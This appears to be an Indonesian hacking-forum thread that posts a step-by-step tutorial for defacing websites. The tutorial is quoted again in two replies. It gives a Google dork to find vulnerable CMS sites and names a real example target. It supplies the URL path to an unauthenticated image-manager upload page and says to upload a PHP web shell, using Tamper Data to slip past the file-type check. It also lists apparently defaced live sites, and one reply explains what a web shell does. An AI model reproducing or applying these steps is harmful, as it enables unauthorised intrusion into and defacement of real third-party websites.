Deface situs CMS dengan mudah

dah lama nih ane gak ngeshare tutorial deface di sini..
ya udah,,langsung aja gan...

//yang harus diperhatiin dalam tutorial deface ini adalah DORK+SHELL..ga usah pengetahuan tentang sql2lan..kan ini cuma deface

1. Siapin dulu DORK yg ane maksud,,kaya gini gan :

Code:

inurl:"cms/article_view.php?id="

2. Copas dork tersebut di search engine google.com..jangan yg lain,, karena search engine yg lain tidak mendukung perintah2 kaya inurl:, intext, filetype: ..etc

3. Pilih salah satu situsnya....contoh :

Code:

http://amvimedicalgroup.com/cms/article_view.php?id=63

4. Trus hapus bagian cms/article_view.php?id=63 ,,dan ganti menjadi :

Code:

/cms/images/index.php?uplid=&uplact=headImg&u=&pathext=&permis1=&permis2=

Kaya gini :

Code:

http://amvimedicalgroup.com/cms/images/index.php?uplid=&uplact=headImg&u=&pathext=&permis1=&permis2=

5. Maka akan ada tampialn Image Manager
SS:
[You must be registered and logged in to see this image.]

>>http://amvimedicalgroup.com/cacad.html
>>http://vusuquocduong.com/
>>http://www.usaluat.com/maho.php

6. Dan selanjutnya tinggal upload Pilih Shell dan Upload trus ganti deh.,,klo saumpama Image Manager tidak menyetujui file yg berextensi .php, upload aja pke Tamper Data
NOTE : jangan di deface index nya, karena ini sbg pembelajaran doank gan

emg boleh yah share beginian disini ? [You must be registered and logged in to see this image.]

RieqyNS13 wrote:

dah lama nih ane gak ngeshare tutorial deface di sini..
ya udah,,langsung aja gan...

//yang harus diperhatiin dalam tutorial deface ini adalah DORK+SHELL..ga usah pengetahuan tentang sql2lan..kan ini cuma deface

1. Siapin dulu DORK yg ane maksud,,kaya gini gan :

Code:

inurl:"cms/article_view.php?id="

2. Copas dork tersebut di search engine google.com..jangan yg lain,, karena search engine yg lain tidak mendukung perintah2 kaya inurl:, intext, filetype: ..etc

3. Pilih salah satu situsnya....contoh :

Code:

http://amvimedicalgroup.com/cms/article_view.php?id=63

4. Trus hapus bagian cms/article_view.php?id=63 ,,dan ganti menjadi :

Code:

/cms/images/index.php?uplid=&uplact=headImg&u=&pathext=&permis1=&permis2=

Kaya gini :

Code:

http://amvimedicalgroup.com/cms/images/index.php?uplid=&uplact=headImg&u=&pathext=&permis1=&permis2=

5. Maka akan ada tampialn Image Manager
SS:
[You must be registered and logged in to see this image.]

>>http://amvimedicalgroup.com/cacad.html
>>http://vusuquocduong.com/
>>http://www.usaluat.com/maho.php

6. Dan selanjutnya tinggal upload Pilih Shell dan Upload trus ganti deh.,,klo saumpama Image Manager tidak menyetujui file yg berextensi .php, upload aja pke Tamper Data
NOTE : jangan di deface index nya, karena ini sbg pembelajaran doank gan

hmm aku g mudeng tp aku ingin nyoba jg tuh shell artinya apa dan cara buatnya gimana

DARK ANGEL OF CHEATER wrote:

RieqyNS13 wrote:

dah lama nih ane gak ngeshare tutorial deface di sini..
ya udah,,langsung aja gan...

//yang harus diperhatiin dalam tutorial deface ini adalah DORK+SHELL..ga usah pengetahuan tentang sql2lan..kan ini cuma deface

1. Siapin dulu DORK yg ane maksud,,kaya gini gan :

Code:

inurl:"cms/article_view.php?id="

2. Copas dork tersebut di search engine google.com..jangan yg lain,, karena search engine yg lain tidak mendukung perintah2 kaya inurl:, intext, filetype: ..etc

3. Pilih salah satu situsnya....contoh :

Code:

http://amvimedicalgroup.com/cms/article_view.php?id=63

4. Trus hapus bagian cms/article_view.php?id=63 ,,dan ganti menjadi :

Code:

/cms/images/index.php?uplid=&uplact=headImg&u=&pathext=&permis1=&permis2=

Kaya gini :

Code:

http://amvimedicalgroup.com/cms/images/index.php?uplid=&uplact=headImg&u=&pathext=&permis1=&permis2=

5. Maka akan ada tampialn Image Manager
SS:
[You must be registered and logged in to see this image.]

>>http://amvimedicalgroup.com/cacad.html
>>http://vusuquocduong.com/
>>http://www.usaluat.com/maho.php

6. Dan selanjutnya tinggal upload Pilih Shell dan Upload trus ganti deh.,,klo saumpama Image Manager tidak menyetujui file yg berextensi .php, upload aja pke Tamper Data
NOTE : jangan di deface index nya, karena ini sbg pembelajaran doank gan

hmm aku g mudeng tp aku ingin nyoba jg tuh shell artinya apa dan cara buatnya gimana

Shell itu semacam kumpulan code php yg berfungsi untuk mengexploitasi isi website, shell itu berperan penting dalam deface halaman secara kseluruhan dan ngotak-ngatik script website...
klo cuma masuk menu admin aja mungkin gak bisa deface index nya, karena sebagian besar panel admin pada website gak ada menu untuk ganti index nya, pling cuma menu untuk nambah artikel, kategori, ganti judul, fax, etc...
untuk karena itu kita upload shell dulu di bagian menu upload..klo udah di upload, tinggal kita buka shell tdi, dan script2 di dalam website kaya mysql, php bisa di modifikasi
hampir sama kaya Windows Explore